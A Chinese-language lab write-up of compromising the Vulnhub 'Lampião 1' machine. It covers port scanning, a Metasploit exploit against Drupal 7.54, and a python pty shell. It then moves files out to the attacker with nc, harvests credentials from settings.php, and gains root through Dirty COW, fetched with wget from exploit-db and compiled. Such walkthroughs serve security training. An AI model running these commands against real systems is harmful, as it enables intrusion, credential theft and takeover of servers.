Vulnhub之lampiao渗透测试
1、靶场概述
Description
Back to the Top
Would you like to keep hacking in your own lab?
Try this brand new vulnerable machine! “Lampião 1”.
Get root!
Level: Easy
链接:靶场下载地址
Kali IP 地址: 192.168.29.131
靶场IP地址: 192.168.29.135
VMware加载靶机ovf文件后,可能会出现获取不到ip地址的情况,若出现此情况,可参考这篇文章:Vulnhub靶机检测不到IP地址。
2、信息收集
nmap扫描192.168.29.0/24网段,扫描出靶机IP地址。

继续扫描靶机开启的端口和服务,靶机开启了22和80端口。

访问80端口,显示为一个静态页面,F12查看源码,也没有发现敏感信息泄露。

由于默认情况下,Nmap用指定的协议对端口1到1024以及nmap-services 文件中列出的更高的端口在扫描,所以我们使用nmap -sS -sV -p- 192.168.29.135对全端口进行扫描。

发现1898端口,服务为apache httpd,web访问该端口,显示一个站点。

页面上没发现可以利用的地方,于是使用“御剑”扫描后台目录。

访问robots.txt,发现一个敏感文件CHANGELOG.txt,记录更新的日志。

访问该文件,发现是Drupal为框架的网站 ,版本为7.54。

3、获取shell
利用搜集到的敏感信息,搜索存在的漏洞,这里使用kali自带的msf。

可以使用2018年3月28日,爆出的一个漏洞,利用此漏洞,可以执行远程注入(靶机drupal更新日志为2017-02-01)。
设置目标主机192.168.29.135 , 目标端口 1898 ,然后run,Kali与靶机建立连接。


执行shell获取交互式命令,由于我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:python -c 'import pty;pty.spawn("/bin/bash")'

4、提权
获取普通用户权限
ls -al查看网站根目录有些什么东西,发现有几个东西不是网站根目录应该有的,所以应该可以获得什么重要信息,把这些文件传输到攻击机上一一查看
1、攻击机kali上执行命令nc -vlp 1234 > 要接收的文件名
2、靶机上执行命令nc -w 3 192.168.29.131 1234 < 要传输的文件名
在攻击机中打开,audio.m4a,lampiao.jpg,LuizGonzaga-LampiaoFalou.mp3,qrc.png如下发现
qrc.png:一个二维码,扫出来的结果是 Try harger! muahuahuahua,被作者鼓励了。。
audio.m4a:提示为user tiago,说明要先找到用户tiago的密码
uizGonzaga-LampiaoFalou.mp3:一首音乐,丢入隐写工具没发现什么异常
lampiao.jpg:一张牛仔的图片,丢入binwlak中未发现有什么隐写
继续翻目录,找文件,在var/www/html/sites/default目录下找到配置文件settings.php,发现敏感信息,tiago以及密码,很有可能就是其系统用户tiago的密码

尝试登录tiago用户,发现登录成功,获取tiago权限。

获取root权限
如何获取root权限,有以下几个思路
1、Sudo -l 查询具有sudo权限命令,然后使用对应的命令提权
2、SUID提权,find / -perm -u=s -type f 2>/dev/null
3、通过某些方法在/etc/passwd添加一个root权限的账户进行提权,
4、find / -writable -type f 2>/dev/null 查找可利用的可写文件,若是计划任务文件可写即可利用提权
5、内核提权
这里使用内核提权
查看内核版本uname -a

网上搜索此内核版本存在的漏洞,以及可利用的exp。
这里我们利用的是CVE-2016-5195:脏牛(Dirty Cow)漏洞-Linux一个内核本地提权漏洞 ,黑客通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。

漏洞影响范围:Linux Kernel >= 2.6.22 的所有 Linux 系统
意味着从 2007 年发布 2.6.22 版本开始,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响。而我们的靶机为ubuntu14.04.5更新时间为16年-8月-05所以存在漏洞
该漏洞详情可以参考:脏牛漏洞

使用wget命令,下载提权exp到靶机:wget https://www.exploit-db.com/download/40847.cpp,如果下载失败,可先下载到本地,然后在传到靶机中。
c++格式的文件,先编译,编译命令g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
1、-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2、-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3、-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4、-std=c++11就是用按C++2011标准来编译的
5、-pthread 在Linux中要用到多线程时,需要链接pthread库
6、-o dcow gcc生成的目标文件,名字为dcow

执行./dcow -s

cd /root目录找到flag
